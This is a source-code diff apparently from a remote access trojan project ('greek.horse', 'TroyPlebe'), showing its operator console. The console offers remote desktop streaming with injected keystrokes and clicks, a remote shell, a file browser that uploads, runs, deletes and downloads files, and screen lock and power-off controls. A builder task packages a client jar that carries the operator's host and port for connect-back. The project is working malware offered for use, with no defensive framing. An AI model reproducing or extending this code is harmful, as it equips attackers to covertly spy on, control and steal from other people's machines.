textFlow.setBackground(new Background(new BackgroundFill(Color.WHITE, new CornerRadii(0), new Insets(0))));
Border border = new Border(new BorderStroke(Color.GREY, BorderStrokeStyle.SOLID, new CornerRadii(0), new BorderWidths(1), new Insets(5)));
textFlow.setPadding(new Insets(5));
textFlow.setBorder(border);
textFlow.setFocusTraversable(true);
for (int i = 0; i < names.size(); i++) {
Text nameText = new Text(names.get(i)+" ");
nameText.setFill(Color.BLUE);
nameText.setFont(Font.font("System", FontWeight.NORMAL, FontPosture.REGULAR, 16));
Text valueText = new Text(values.get(i)+"\n");
valueText.setFill(Color.BLACK);
valueText.setFont(Font.font("System", FontWeight.NORMAL, FontPosture.REGULAR, 16));
textFlow.getChildren().addAll(nameText, valueText);
}
alert.getDialogPane().setContent(textFlow);
alert.setHeaderText("Query Info");
alert.showAndWait();
} catch (Exception e) {
log.error("Error getting info from row: ", e);
}
}
public void contextOff(TableRow<NetInfoTable> row) {
try {
TroyPlebe tp = row.getItem().getFather();
tp.turnOff();
} catch (Exception e) {
log.error("Error getting info from row: ", e);
}
}
}

160
src/main/java/greek/horse/server/ui/controllers/MonitorDesktopController.java

@ -0,0 +1,160 @@
package greek.horse.server.ui.controllers;
import greek.horse.models.Mode;
import greek.horse.models.UserInput;
import greek.horse.server.ui.controllers.tasks.MonitorDesktopTask;
import javafx.embed.swing.SwingFXUtils;
import javafx.event.ActionEvent;
import javafx.scene.control.CheckBox;
import javafx.scene.control.ChoiceBox;
import javafx.scene.image.ImageView;
import javafx.scene.input.MouseButton;
import javafx.scene.input.MouseEvent;
import javafx.scene.paint.Color;
import javafx.scene.text.Text;
import javafx.stage.Stage;
import java.awt.event.InputEvent;
import java.awt.event.KeyEvent;
import java.awt.image.BufferedImage;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.CopyOnWriteArrayList;
public class MonitorDesktopController {
public ImageView imageView;
public CheckBox compressionCheck;
public CheckBox keysCheck;
public CheckBox clicksCheck;
public Text fpsText;
public ChoiceBox<String> choiceBox;
public Text statusCircleText;
private Stage stage;
private final CopyOnWriteArrayList<UserInput> clicksInputs = new CopyOnWriteArrayList<>();
private final CopyOnWriteArrayList<UserInput> keysInputs = new CopyOnWriteArrayList<>();
private final static HashMap<Integer, Integer> things = createMap();
private MonitorDesktopTask task;
private static HashMap<Integer, Integer> createMap() {
HashMap<Integer, Integer> map = new HashMap<>();
map.put(129, KeyEvent.VK_DEAD_ACUTE);
map.put(131, KeyEvent.VK_DEAD_TILDE);
map.put(222, KeyEvent.VK_QUOTE);
return map;
}
public void setStage(Stage stage) {
this.stage = stage;
stage.getScene().setOnKeyPressed(e -> {
if (stage.isShowing() && isSendingKeys()) {
UserInput press = new UserInput(e.getCode().getCode(), Mode.KEY_PRESSED);
keysInputs.add(press);
if (things.containsKey(e.getCode().getCode())) {
keysInputs.add(new UserInput(e.getCode().getCode(), Mode.KEY_RELEASED));
press.setPaired(true);
}
}
e.consume();
});
stage.getScene().setOnKeyReleased(e -> {
if (stage.isShowing() && isSendingKeys()) {
UserInput pair = keysInputs.parallelStream().filter(ui -> !ui.getPaired() && ui.getMode().equals(Mode.KEY_PRESSED) && ui.getKey() == e.getCode().getCode()).findFirst().get();
pair.setPaired(true);
keysInputs.add(new UserInput(e.getCode().getCode(), Mode.KEY_RELEASED));
}
e.consume();
});
}
public void configureChoiceBox() {
choiceBox.getSelectionModel().selectFirst();
choiceBox.getSelectionModel().selectedIndexProperty()
.addListener((observableValue, oldIndex, newIndex) -> {
task.refreshSettings();
});
}
public Stage getStage() {
return stage;
}
public void setImage(BufferedImage screenCapture) {
imageView.setFitWidth(screenCapture.getWidth());
imageView.setFitHeight(screenCapture.getHeight());
imageView.setImage(SwingFXUtils.toFXImage(screenCapture, null));
}
public boolean isCompressed() {
return compressionCheck.isSelected();
}
public boolean isSendingKeys() {
return keysCheck.isSelected();
}
public boolean isSendingClicks() {
return clicksCheck.isSelected();
}
private int getButton(MouseButton button) {
return switch (button) {
case PRIMARY -> InputEvent.BUTTON1_DOWN_MASK;
case SECONDARY -> InputEvent.BUTTON3_DOWN_MASK;
default -> 0;
};
}
public List<UserInput> getInputs() {
ArrayList<UserInput> sincList = new ArrayList<>(keysInputs);
boolean allClosed = sincList.parallelStream().allMatch(ui -> ui.getMode().equals(Mode.KEY_RELEASED)
|| ui.getPaired());
ArrayList<UserInput> ret;
if (allClosed) {
ret = new ArrayList<>();
ret.addAll(sincList);
ret.addAll(clicksInputs);
keysInputs.removeAll(sincList);
} else {
ret = new ArrayList<>(clicksInputs);
}
clicksInputs.clear();
return ret;
}
public void mousePressed(MouseEvent event) {
if (isSendingClicks() &&
(event.getButton().equals(MouseButton.PRIMARY) || event.getButton().equals(MouseButton.SECONDARY))) {
this.clicksInputs.add(new UserInput(getButton(event.getButton()), (int) event.getX(), (int) event.getY(), Mode.CLICK_PRESSED));
}
}
public void MouseReleased(MouseEvent event) {
if (isSendingClicks() &&
(event.getButton().equals(MouseButton.PRIMARY) || event.getButton().equals(MouseButton.SECONDARY))) {
this.clicksInputs.add(new UserInput(getButton(event.getButton()), (int) event.getX(), (int) event.getY(), Mode.CLICK_RELEASED));
}
}
public void setTask(MonitorDesktopTask monitorDesktopTask) {
this.task = monitorDesktopTask;
}
public void toggleImageCompression(ActionEvent event) {
this.task.refreshSettings();
}
public void setFpsText(int fps) {
if (fps>=4){
statusCircleText.setFill(Color.rgb(0,150,0));
} else if (fps==3){
statusCircleText.setFill(Color.DARKGOLDENROD);
} else {
statusCircleText.setFill(Color.rgb(200,0,0));
}
this.fpsText.setText(String.valueOf(fps));
}
}

64
src/main/java/greek/horse/server/ui/controllers/TerminalController.java

@ -0,0 +1,64 @@
package greek.horse.server.ui.controllers;
import greek.horse.server.troyStructure.TroyPlebe;
import javafx.application.Platform;
import javafx.event.ActionEvent;
import javafx.scene.control.ScrollPane;
import javafx.scene.control.TextField;
import javafx.scene.input.KeyCode;
import javafx.scene.paint.Color;
import javafx.scene.text.*;
import javafx.stage.Stage;
public class TerminalController {
public TextField textFieldCommand;
public TextFlow textFlow;
public ScrollPane scrollPane;
private TroyPlebe plebe;
private Stage stage;
public void begin() {
scrollPane.vvalueProperty().bind(textFlow.heightProperty());
textFieldCommand.setOnKeyPressed(e -> {
if (e.getCode().equals(KeyCode.ENTER)) {
sendCommand();
}
});
}
public void setPlebe(TroyPlebe plebe) {
this.plebe = plebe;
}
public void sendBtn(ActionEvent event) {
sendCommand();
}
private void sendCommand() {
String command = textFieldCommand.getText();
if (command.isEmpty()) {
return;
}
this.plebe.sendTerminalCommand(command);
textFieldCommand.setText("");
}
public void addTextLine(String line) {
Text newLine = new Text(line.replaceAll("\n", "").replaceAll("\r", "").concat("\n"));
newLine.setFill(Color.WHITE);
newLine.setFont(Font.font("Consolas", FontWeight.NORMAL, FontPosture.REGULAR, 16));
Platform.runLater(() -> {
textFlow.getChildren().add(newLine);
});
}
public void setStage(Stage stage) {
this.stage = stage;
}
public Stage getStage() {
return stage;
}
}

99
src/main/java/greek/horse/server/ui/controllers/tasks/BuildJarTask.java

@ -0,0 +1,99 @@
package greek.horse.server.ui.controllers.tasks;
import greek.horse.server.ui.ChatApp;
import greek.horse.server.ui.controllers.HorseController;
import javafx.application.Platform;
import javafx.scene.control.Alert;
import org.zeroturnaround.zip.ZipUtil;
import org.zeroturnaround.zip.commons.FileUtils;
import java.io.File;
import java.io.FileWriter;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.security.CodeSource;
import java.util.ArrayList;
import java.util.Scanner;
public class BuildJarTask implements Runnable {
private final File outDir;
private final HorseController horseController;
private final String host;
private final String port;
public BuildJarTask(File saveFile, HorseController horseController, String host, String port) {
this.outDir = saveFile;
this.horseController = horseController;
this.host = host;
this.port = port;
}
@Override
public void run() {
try {
CodeSource src = ChatApp.class.getProtectionDomain().getCodeSource();
Path temp = Files.createTempDirectory("build_temp_");
String temp_path = temp.toFile().getPath();
ZipUtil.unpack(new File(src.getLocation().getPath()), temp.toFile(), StandardCharsets.UTF_8);
FileUtils.deleteDirectory(new File(temp.toFile().getPath() + File.separator + "images"));
FileUtils.deleteDirectory(new File(temp.toFile().getPath() + File.separator + "scenes"));
FileUtils.deleteDirectory(new File(temp.toFile().getPath() + File.separator + "javafx"));
FileUtils.deleteDirectory(new File(temp.toFile().getPath()
+ File.separator + "greek"
+ File.separator + "horse"
+ File.separator + "server"
));
FileUtils.deleteDirectory(new File(temp.toFile().getPath()
+ File.separator + "greek"
+ File.separator + "horse"
+ File.separator + "test"
));
File meta = new File(temp_path + File.separator + "META-INF" + File.separator + "MANIFEST.MF");
ArrayList<String> lines = new ArrayList<>();
try (Scanner scanner = new Scanner(meta)) {
while (scanner.hasNext()) {
lines.add(scanner.nextLine());
}
}
String lastLine = lines.get(lines.size() - 1);
lines.remove(lines.size() - 1);
try (FileWriter writer = new FileWriter(meta, false)) {
for (String l : lines) {
writer.append(l).append("\n");
}
writer.append(lastLine.replace("greek.horse.server.ui.Launcher", "greek.horse.client.TroyClient\n\n"));
writer.flush();
}
try (FileWriter writer = new FileWriter(temp.toFile().getPath() + File.separator + "connection.data", false)) {
writer.append(host).append("\n");
writer.append(port).append("\n");
writer.flush();
}
ZipUtil.pack(temp.toFile(), new File(this.outDir.getPath()));
FileUtils.deleteDirectory(temp.toFile());
Platform.runLater(() -> {
this.horseController.showDialog("Success building jar", "The jar file is ready. Go check it.", Alert.AlertType.INFORMATION);
});
} catch (Exception e) {
e.printStackTrace();
Platform.runLater(() -> {
this.horseController.showDialog("Failed to build jar", "Something went wrong. Try it again. (" + e.getMessage() + ")", Alert.AlertType.ERROR);
});
} finally {
Platform.runLater(() ->{
this.horseController.buildBtn.setDisable(false);
});
}
}
}

102
src/main/java/greek/horse/server/ui/controllers/tasks/ChatTask.java

@ -0,0 +1,102 @@
package greek.horse.server.ui.controllers.tasks;
import greek.horse.models.MessageType;
import greek.horse.server.troyStructure.TroyPlebe;
import greek.horse.server.troyStructure.request.RecurrentTroyRequest;
import greek.horse.server.ui.ChatApp;
import greek.horse.server.ui.controllers.ChatController;
import javafx.application.Platform;
import javafx.collections.ListChangeListener;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.stage.Stage;
import org.apache.log4j.Logger;
import java.io.IOException;
import java.util.concurrent.atomic.AtomicBoolean;
public class ChatTask implements Runnable {
private final TroyPlebe plebe;
private ChatController controller;
private final AtomicBoolean running = new AtomicBoolean(false);
public ChatTask(TroyPlebe tp) {
this.plebe = tp;
}
@Override
public void run() {
AtomicBoolean start = new AtomicBoolean(false);
Platform.runLater(() -> {
try {
Stage stage = new Stage();
stage.setTitle("Chat - " + plebe.getTitle());
stage.getIcons().add(ChatApp.appIcon);
FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/chat.fxml"));
Parent root = loader.load();
stage.setOnCloseRequest(e -> this.running.set(false));
Scene scene = new Scene(root);
stage.setScene(scene);
controller = loader.getController();
controller.setPlebe(plebe);
controller.setStage(stage);
stage.show();
} catch (IOException e) {
e.printStackTrace();
} finally {
start.set(true);
}
});
while (!start.get()) {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
controller.begin();
RecurrentTroyRequest request = (RecurrentTroyRequest) this.plebe.startChat();
request.getObservableReceivedObjs().addListener((ListChangeListener<? super Object>) listener -> {
listener.next();
for (Object obj : listener.getAddedSubList()) {
String line = (String) obj;
controller.addTextLine(MessageType.CLIENT_NAME, line, MessageType.CLIENT);
}
});
while (plebe.getRunning().get() && this.running.get()) {
try {
Thread.sleep(200);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
if (!request.getReleased().get()) {
this.plebe.releaseRequest(request);
}
Platform.runLater(() -> {
controller.getStage().hide();
});
}
public AtomicBoolean getRunning() {
return running;
}
}

77
src/main/java/greek/horse/server/ui/controllers/tasks/FileBrowserTask.java

@ -0,0 +1,77 @@
package greek.horse.server.ui.controllers.tasks;
import greek.horse.server.troyStructure.TroyPlebe;
import greek.horse.server.ui.ChatApp;
import greek.horse.server.ui.controllers.FileBrowserController;
import javafx.application.Platform;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.stage.Stage;
import java.io.IOException;
import java.util.concurrent.atomic.AtomicBoolean;
public class FileBrowserTask implements Runnable {
private final TroyPlebe plebe;
private FileBrowserController controller;
public FileBrowserTask(TroyPlebe tp) {
this.plebe = tp;
}
@Override
public void run() {
AtomicBoolean start = new AtomicBoolean(false);
Platform.runLater(() -> {
try {
Stage stage = new Stage();
stage.setTitle("File Browser - " + plebe.getTitle());
stage.getIcons().add(ChatApp.appIcon);
FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/filesBrowser.fxml"));
Parent root = loader.load();
Scene scene = new Scene(root);
stage.setScene(scene);
controller = loader.getController();
controller.setPlebe(plebe);
controller.setStage(stage);
controller.setTitle(plebe.getTitle());
stage.show();
} catch (IOException e) {
e.printStackTrace();
} finally {
start.set(true);
}
});
while (!start.get()) {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
controller.begin();
while (plebe.getRunning().get()) {
try {
Thread.sleep(200);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
Platform.runLater(() -> {
controller.getStage().hide();
});
}
}

183
src/main/java/greek/horse/server/ui/controllers/tasks/MonitorDesktopTask.java

@ -0,0 +1,183 @@
package greek.horse.server.ui.controllers.tasks;
import greek.horse.models.MonitorDesktopWrapper;
import greek.horse.models.UserInput;
import greek.horse.server.troyStructure.TroyPlebe;
import greek.horse.server.troyStructure.request.RecurrentTroyRequest;
import greek.horse.server.ui.ChatApp;
import greek.horse.server.ui.controllers.MonitorDesktopController;
import javafx.application.Platform;
import javafx.collections.ListChangeListener;
import javafx.collections.ObservableList;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.stage.Stage;
import org.apache.log4j.Logger;
import javax.imageio.ImageIO;
import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Timer;
import java.util.TimerTask;
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicLong;
public class MonitorDesktopTask implements Runnable {
private final TroyPlebe plebe;
private final AtomicBoolean running = new AtomicBoolean(false);
private MonitorDesktopController controller;
private RecurrentTroyRequest request;
private Timer timer;
private static final Logger log = Logger.getLogger(MonitorDesktopController.class);
public MonitorDesktopTask(TroyPlebe tp) {
this.plebe = tp;
}
@Override
public void run() {
AtomicBoolean start = new AtomicBoolean(false);
Platform.runLater(() -> {
try {
Stage stage = new Stage();
stage.setTitle("Desktop Monitor - " + plebe.getTitle());
stage.getIcons().add(ChatApp.appIcon);
FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/desktop.fxml"));
Parent root = loader.load();
Scene scene = new Scene(root);
stage.setScene(scene);
stage.setOnCloseRequest(e -> this.running.set(false));
controller = loader.getController();
controller.setStage(stage);
controller.setTask(this);
stage.show();
} catch (IOException e) {
e.printStackTrace();
} finally {
start.set(true);
}
});
loadMonitors();
while (!start.get()) {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
startListening();
while (this.running.get() && this.plebe.getRunning().get()) {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
log.error(e);
}
}
timer.cancel();
timer.purge();
if (this.plebe.getRunning().get() && !request.getReleased().get()) {
this.plebe.releaseRequest(request);
}
Platform.runLater(() -> {
controller.getStage().hide();
});
}
private void loadMonitors() {
Platform.runLater(() -> {
try {
int count = (int) plebe.getMonitorCount().getReceivedObj();
ArrayList<String> list = new ArrayList<>();
for (int i = 1; i <= count; i++) {
list.add("Monitor " + i);
}
controller.choiceBox.getItems().addAll(list);
} catch (Exception e) {
log.error("Failed to get monitors", e);
controller.choiceBox.getItems().add("Monitor 1");
} finally {
controller.configureChoiceBox();
}
});
}
private void startListening() {
double w = controller.getStage().getWidth() - 50;
double h = controller.getStage().getHeight() - 70;
request = plebe.getScreenCapture(new MonitorDesktopWrapper(w, h, controller.isCompressed(), 0));
ObservableList<Object> observableList = request.getObservableReceivedObjs();
long initTime = System.currentTimeMillis();
AtomicLong frameCount = new AtomicLong();
ListChangeListener<? super Object> changeListener = listener -> {
listener.next(); // this is needed for some reason
// only need one per refresh
ArrayList<UserInput> inputs = getInputs();
if (inputs.size() > 0) {
plebe.sendUserInputs(inputs);
}
// as many refreshes as arrived
for (Object obj : listener.getAddedSubList()) {
try {
BufferedImage bi = ImageIO.read(new ByteArrayInputStream((byte[]) obj));
controller.setImage(bi);
frameCount.getAndIncrement();
} catch (Exception e) {
log.error("Cast failed, image not set", e);
}
}
};
observableList.addListener(changeListener);
timer = new Timer();
timer.scheduleAtFixedRate(new TimerTask() {
@Override
public void run() {
refreshSettings();
Platform.runLater(() -> {
controller.setFpsText((int) (frameCount.get() / Math.floorDiv(System.currentTimeMillis() - initTime, 1000)));
});
}
}, 2000, 2000);
}
private ArrayList<UserInput> getInputs() {
ArrayList<UserInput> list = new ArrayList<>(controller.getInputs());
return list;
}
public void refreshSettings() {
double w = controller.getStage().getWidth() - 50;
double h = controller.getStage().getHeight() - 70;
this.plebe.refreshDesktop(new MonitorDesktopWrapper(w, h, controller.isCompressed(), controller.choiceBox.getSelectionModel().getSelectedIndex()));
}
public AtomicBoolean getRunning() {
return running;
}
}

129
src/main/java/greek/horse/server/ui/controllers/tasks/TerminalTask.java

@ -0,0 +1,129 @@
package greek.horse.server.ui.controllers.tasks;
import greek.horse.models.NetInfo;
import greek.horse.models.OS;
import greek.horse.server.troyStructure.TroyPlebe;
import greek.horse.server.troyStructure.request.RecurrentTroyRequest;
import greek.horse.server.ui.ChatApp;
import greek.horse.server.ui.controllers.TerminalController;
import javafx.application.Platform;
import javafx.collections.ListChangeListener;
import javafx.fxml.FXMLLoader;
import javafx.scene.Parent;
import javafx.scene.Scene;
import javafx.scene.control.Alert;
import javafx.stage.Modality;
import javafx.stage.Stage;
import org.apache.log4j.Logger;
import java.io.IOException;
import java.util.concurrent.atomic.AtomicBoolean;
public class TerminalTask implements Runnable {
private final TroyPlebe plebe;
private TerminalController controller;
private final AtomicBoolean running = new AtomicBoolean(false);
private static final Logger log = Logger.getLogger(TerminalTask.class);
public TerminalTask(TroyPlebe tp) {
this.plebe = tp;
}
@Override
public void run() {
AtomicBoolean start = new AtomicBoolean(false);
Platform.runLater(() -> {
try {
Stage stage = new Stage();
stage.setTitle("Terminal - " + plebe.getTitle());
stage.getIcons().add(ChatApp.appIcon);
FXMLLoader loader = new FXMLLoader(getClass().getClassLoader().getResource("scenes/terminal.fxml"));
Parent root = loader.load();
stage.setOnCloseRequest(e -> this.running.set(false));
Scene scene = new Scene(root);
stage.setScene(scene);
controller = loader.getController();
controller.setPlebe(plebe);
controller.setStage(stage);
stage.show();
} catch (IOException e) {
e.printStackTrace();
} finally {
start.set(true);
}
});
while (!start.get()) {
try {
Thread.sleep(100);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
warnPlatformDependency();
controller.begin();
RecurrentTroyRequest request = (RecurrentTroyRequest) this.plebe.startTerminal();
request.getObservableReceivedObjs().addListener((ListChangeListener<? super Object>) listener -> {
listener.next();
for (Object obj : listener.getAddedSubList()) {
String line = (String) obj;
controller.addTextLine(line);
}
});
while (plebe.getRunning().get() && this.running.get()) {
try {
Thread.sleep(200);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
if (!request.getReleased().get()) {
this.plebe.releaseRequest(request);
}
Platform.runLater(() -> {
controller.getStage().hide();
});
}
private void warnPlatformDependency() {
try {
NetInfo netInfo = (NetInfo) this.plebe.getNetInfo().getReceivedObj();
OS os = netInfo.getOs();
// if (os.equals(OS.WINDOWS) || os.equals(OS.UNIX)) {
// return;
// }
Platform.runLater(() -> {
Alert alert = new Alert(Alert.AlertType.WARNING);
alert.setTitle("Warning");
alert.initOwner(controller.getStage());
alert.initModality(Modality.APPLICATION_MODAL);
alert.setHeaderText("Platform dependency");
alert.setContentText("Only Windows and UNIX systems were tested. Be aware: this Plebe is running '" + os + "'.");
alert.showAndWait();
});
} catch (Exception e) {
log.error(e);
}
}
public AtomicBoolean getRunning() {
return running;
}
}

81
src/main/java/greek/horse/server/ui/formmaters/FileRowsFactory.java

@ -0,0 +1,81 @@
package greek.horse.server.ui.formmaters;
import greek.horse.models.TableFile;
import greek.horse.server.ui.ChatApp;
import greek.horse.server.ui.controllers.FileBrowserController;
import javafx.embed.swing.SwingFXUtils;
import javafx.scene.control.ContextMenu;
import javafx.scene.control.MenuItem;
import javafx.scene.control.TableRow;
import javafx.scene.control.TableView;
import javafx.scene.image.ImageView;
import javafx.scene.input.MouseButton;
import javafx.util.Callback;
public class FileRowsFactory implements Callback<TableView<TableFile>, TableRow<TableFile>> {
private final FileBrowserController controller;
private final boolean drives;
public FileRowsFactory(FileBrowserController controller, boolean drives) {
this.controller = controller;
this.drives = drives;
}
@Override
public TableRow<TableFile> call(TableView<TableFile> drivesTable) {
TableRow<TableFile> row = new TableRow<>();
row.setOnMouseClicked(e -> {
if (e.getButton().equals(MouseButton.PRIMARY) && e.getClickCount() > 1) {
this.controller.loadFolderFromRow(row);
}
});
if (!drives) {
ContextMenu contextMenu = new ContextMenu();
MenuItem refresh = new MenuItem("Refresh", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("refresh", 0.25), null)));
MenuItem upload = new MenuItem("Upload", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("upload", 0.25), null)));
MenuItem run = new MenuItem("Run", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("run", 0.25), null)));
MenuItem delete = new MenuItem("Delete", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("delete", 0.25), null)));
MenuItem download = new MenuItem("Download", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("download", 0.25), null)));
MenuItem open = new MenuItem("Open", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("open", 0.25), null)));
refresh.setOnAction((event) -> {
this.controller.loadFromTextField();
});
run.setOnAction((event -> {
this.controller.runFromRow(row);
}));
upload.setOnAction(event -> {
this.controller.uploadFromRow(row);
});
delete.setOnAction(event -> {
this.controller.deleteFromRow(row);
});
download.setOnAction(event -> {
this.controller.downloadFromRow(row);
});
open.setOnAction(event -> {
this.controller.openFromRow(row);
});
// menuItem2.setOnAction((event) -> {
// this.controller.contextDisconnect(row);
// });
//
// run.setOnAction((event) -> {
// this.controller.contextFilesBrowser(row);
// });
contextMenu.getItems().addAll(refresh, run, open, upload, download, delete);
row.setContextMenu(contextMenu);
}
return row;
}
}

52
src/main/java/greek/horse/server/ui/formmaters/FormattedTableCellFactory.java

@ -0,0 +1,52 @@
package greek.horse.server.ui.formmaters;
import javafx.geometry.Pos;
import javafx.scene.Node;
import javafx.scene.control.TableCell;
import javafx.scene.control.TableColumn;
import javafx.scene.text.TextAlignment;
import javafx.util.Callback;
public class FormattedTableCellFactory<S, T> implements Callback<TableColumn<S, T>, TableCell<S, T>> {
private final TextAlignment textAlignment;
public FormattedTableCellFactory(TextAlignment textAlignment) {
this.textAlignment = textAlignment;
}
public FormattedTableCellFactory() {
textAlignment = TextAlignment.CENTER;
}
@Override
@SuppressWarnings("unchecked")
public TableCell<S, T> call(TableColumn<S, T> p) {
TableCell<S, T> cell = new TableCell<S, T>() {
@Override
public void updateItem(Object item, boolean empty) {
if (item == getItem()) {
return;
}
super.updateItem((T) item, empty);
if (item == null) {
super.setText(null);
super.setGraphic(null);
} else if (item instanceof Node) {
super.setText(null);
super.setGraphic((Node) item);
} else {
super.setText((String) item);
super.setGraphic(null);
}
}
};
cell.setTextAlignment(this.textAlignment);
cell.setAlignment(this.textAlignment.equals(TextAlignment.CENTER)?Pos.CENTER:Pos.CENTER_LEFT);
return cell;
}
}

88
src/main/java/greek/horse/server/ui/formmaters/HorseRowFactory.java

@ -0,0 +1,88 @@
package greek.horse.server.ui.formmaters;
import greek.horse.server.troyStructure.NetInfoTable;
import greek.horse.server.ui.ChatApp;
import greek.horse.server.ui.controllers.HorseController;
import javafx.embed.swing.SwingFXUtils;
import javafx.geometry.Insets;
import javafx.scene.control.*;
import javafx.scene.image.ImageView;
import javafx.util.Callback;
public class HorseRowFactory implements Callback<TableView<NetInfoTable>, TableRow<NetInfoTable>> {
private final HorseController controller;
public HorseRowFactory(HorseController horseController) {
controller = horseController;
}
@Override
public TableRow<NetInfoTable> call(TableView tableView) {
TableRow<NetInfoTable> row = new TableRow<>();
ContextMenu contextMenu = new ContextMenu();
MenuItem desktop = new MenuItem("Desktop", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("desktopMonitor", 0.07), null)));
MenuItem browseFiles = new MenuItem("Browse files", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("fileBrowser", 0.07), null)));
MenuItem terminal = new MenuItem("Terminal", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("terminal", 0.07), null)));
MenuItem data = new MenuItem("Full data", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("data", 0.07), null)));
Menu monitoring = new Menu("Monitoring", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("monitoring", 0.07), null)));
monitoring.getItems().addAll(desktop, browseFiles, terminal, data);
MenuItem chat = new MenuItem("Chat", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("chat", 0.07), null)));
MenuItem off = new MenuItem("Turn Off", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("off", 0.07), null)));
CheckMenuItem lock = new CheckMenuItem("Lock", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("lock", 0.07), null)));
Menu interaction = new Menu("Interaction", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("communication", 0.07), null)));
interaction.getItems().addAll(chat, lock, off);
MenuItem disconnect = new MenuItem("Disconnect", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("disconnect", 0.07), null)));
MenuItem stop = new MenuItem("Stop",new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("stop", 0.07), null)));
Menu manageClient = new Menu("Manage Client", new ImageView(SwingFXUtils.toFXImage(ChatApp.getImage("client", 0.07), null)));
manageClient.getItems().addAll(disconnect, stop);
desktop.setOnAction((event) -> {
this.controller.contextDesktop(row);
});
disconnect.setOnAction((event) -> {
this.controller.contextDisconnect(row);
});
browseFiles.setOnAction((event) -> {
this.controller.contextFilesBrowser(row);
});
lock.setOnAction(event -> {
this.controller.contextLock(row, lock.isSelected());
});
stop.setOnAction(event -> {
this.controller.contextStop(row);
});
chat.setOnAction(event ->{
this.controller.contextChat(row);
});
terminal.setOnAction(event -> {
this.controller.contextTerminal(row);
});
off.setOnAction(event -> {
this.controller.contextOff(row);
});
data.setOnAction(event -> {
this.controller.contextFullData(row);
});
contextMenu.getItems().addAll(monitoring, interaction, manageClient);
row.setContextMenu(contextMenu);
row.setOpaqueInsets(new Insets(5));
return row;
}
}

31
src/main/java/greek/horse/test/Test.java

@ -0,0 +1,31 @@
package greek.horse.test;
import javax.swing.*;
import java.awt.*;
public class Test {
public static void main(String[] args) throws Exception {
int w = 0, h = 0, x = 0, y = 0;
for (GraphicsDevice device : GraphicsEnvironment.getLocalGraphicsEnvironment().getScreenDevices()) {
Rectangle bounds = device.getDefaultConfiguration().getBounds();
System.out.println(bounds);
w += bounds.getWidth();
w += Math.abs(bounds.getX());
h += bounds.getHeight();
h += Math.abs(bounds.getY());
x = x > bounds.getX() ? x : (int) bounds.getX();
y = y < bounds.getY() ? y : (int) bounds.getY();
}
System.out.println();
System.out.println(new Rectangle(0, 0, 10000, 10000));
JFrame frame = new JFrame();
frame.setSize(new Dimension((int) w, (int) h));
frame.setLocation(0, 0);
frame.setUndecorated(false);
frame.setVisible(true);
}
}

2
src/main/resources/connection.data

@ -0,0 +1,2 @@
localhost
1234

BIN
src/main/resources/images/diverse/Drives/1030.png

After

Width: 256  |  Height: 256  |  Size: 18 KiB

BIN
src/main/resources/images/diverse/Drives/1032.png

After

Width: 256  |  Height: 256  |  Size: 25 KiB

BIN
src/main/resources/images/diverse/Drives/1033.png

After

Width: 256  |  Height: 256  |  Size: 18 KiB

BIN
src/main/resources/images/diverse/Drives/1034.png

After

Width: 256  |  Height: 256  |  Size: 26 KiB

BIN
src/main/resources/images/diverse/Drives/1035.png

After

Width: 256  |  Height: 256  |  Size: 18 KiB

BIN
src/main/resources/images/diverse/Drives/1036.png

After

Width: 256  |  Height: 256  |  Size: 15 KiB

BIN
src/main/resources/images/diverse/Drives/1041.png

After

Width: 256  |  Height: 256  |  Size: 12 KiB

BIN
src/main/resources/images/diverse/Drives/135.png

After

Width: 256  |  Height: 256  |  Size: 44 KiB

BIN
src/main/resources/images/diverse/Drives/136.png

After

Width: 256  |  Height: 256  |  Size: 44 KiB

BIN
src/main/resources/images/diverse/Drives/139.png

After

Width: 256  |  Height: 256  |  Size: 43 KiB

BIN
src/main/resources/images/diverse/Drives/140.png

After

Width: 256  |  Height: 256  |  Size: 44 KiB

BIN
src/main/resources/images/diverse/Drives/141.png

After

Width: 256  |  Height: 256  |  Size: 44 KiB

BIN
src/main/resources/images/diverse/Drives/142.png

After

Width: 256  |  Height: 256  |  Size: 44 KiB

BIN
src/main/resources/images/diverse/Drives/172.png

After

Width: 256  |  Height: 256  |  Size: 40 KiB

BIN
src/main/resources/images/diverse/Drives/173.png

After

Width: 256  |  Height: 256  |  Size: 40 KiB

BIN
src/main/resources/images/diverse/Drives/180.png

After

Width: 256  |  Height: 256  |  Size: 46 KiB

